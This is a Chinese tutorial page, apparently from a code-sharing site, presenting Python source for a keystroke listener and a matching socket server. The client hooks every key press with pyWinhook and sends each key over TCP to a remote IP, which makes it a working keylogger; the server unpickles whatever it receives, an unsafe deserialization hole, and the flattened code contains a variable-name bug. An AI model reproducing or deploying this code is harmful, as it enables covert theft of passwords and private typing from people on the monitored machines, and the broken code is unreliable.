python實現(xiàn)監(jiān)聽鍵盤
python實現(xiàn)監(jiān)聽鍵盤,供大家參考,具體內(nèi)容如下實現(xiàn)服務(wù)端
import picklefrom io import BytesIOimport socket#接收數(shù)據(jù)def Server_Recive(ip,port): socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.bind((ip,port)) socket_obj.listen(5) file = 1 while True:connection,address = socket_obj.accept() #接受的數(shù)據(jù)recieved_message = b’’recieved_message_fragment = connection.recv(1024)while recieved_message_fragment: recieved_message += recieved_message_fragment recieved_message_fragment = connection.recv(1024)try: obj = pickle.loads(recieved_message) print(obj[’Key’],end=’ ’)except EOFError: file_name = ’recv_image_’ + str(file_on) + ’.bmp’ recv_image = open(file_name,’wb’) recv_image.write(recieved_message) file_on += 1connection.close()if __name__ == ’__main__’: Server_IP = ’0.0.0.0’ Server_Port = 6666 Server_Recive(Server_IP,Server_Port)
鍵盤監(jiān)聽程序
#鍵盤監(jiān)聽import pythoncom,pyWinhook,pickle,socketfrom io import BytesIOdef Client_PIC(ip,port,obj): try:msg = pickle.dumps(obj)send_message = BytesIO(msg)send_message_fragment = send_message.read(1024) except:send_message = objsend_message_fragment = send_message.read(1024) socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.connect((ip,port)) while send_message_fragment:socket_obj.send(send_message_fragment)send_message_fragment = send_message.read(1024) socket_obj.close()def OnkeyBoardEvent(event): dict_key = {} dict_key[’MessageName’] = event.MessageName dict_key[’Key’] = event.Key Client_PIC(’你自己的ip地址’,6666,dict_key) return Truedef Keylogger(): hm = pyWinhook.HookManager() hm.KeyDown = OnkeyBoardEvent hm.HookKeyboard() pythoncom.PumpMessages()if __name__ == ’__main__’: Keylogger()
其中的pythoncom,pyWinhook百度查找安裝方法,在此不贅述
運行(先運行服務(wù)端,而后運行監(jiān)聽程序)
以上就是本文的全部內(nèi)容,希望對大家的學(xué)習(xí)有所幫助,也希望大家多多支持好吧啦網(wǎng)。
相關(guān)文章:
1. 使用AJAX(包含正則表達(dá)式)驗證用戶登錄的步驟2. 解決ajax請求后臺,有時收不到返回值的問題3. ASP中實現(xiàn)字符部位類似.NET里String對象的PadLeft和PadRight函數(shù)4. asp知識整理筆記4(問答模式)5. javascript xml xsl取值及數(shù)據(jù)修改第1/2頁6. ASP基礎(chǔ)知識Command對象講解7. 存儲于xml中需要的HTML轉(zhuǎn)義代碼8. Python使用oslo.vmware管理ESXI虛擬機的示例參考9. ASP.NET MVC通過勾選checkbox更改select的內(nèi)容10. jsp+mysql實現(xiàn)網(wǎng)頁的分頁查詢
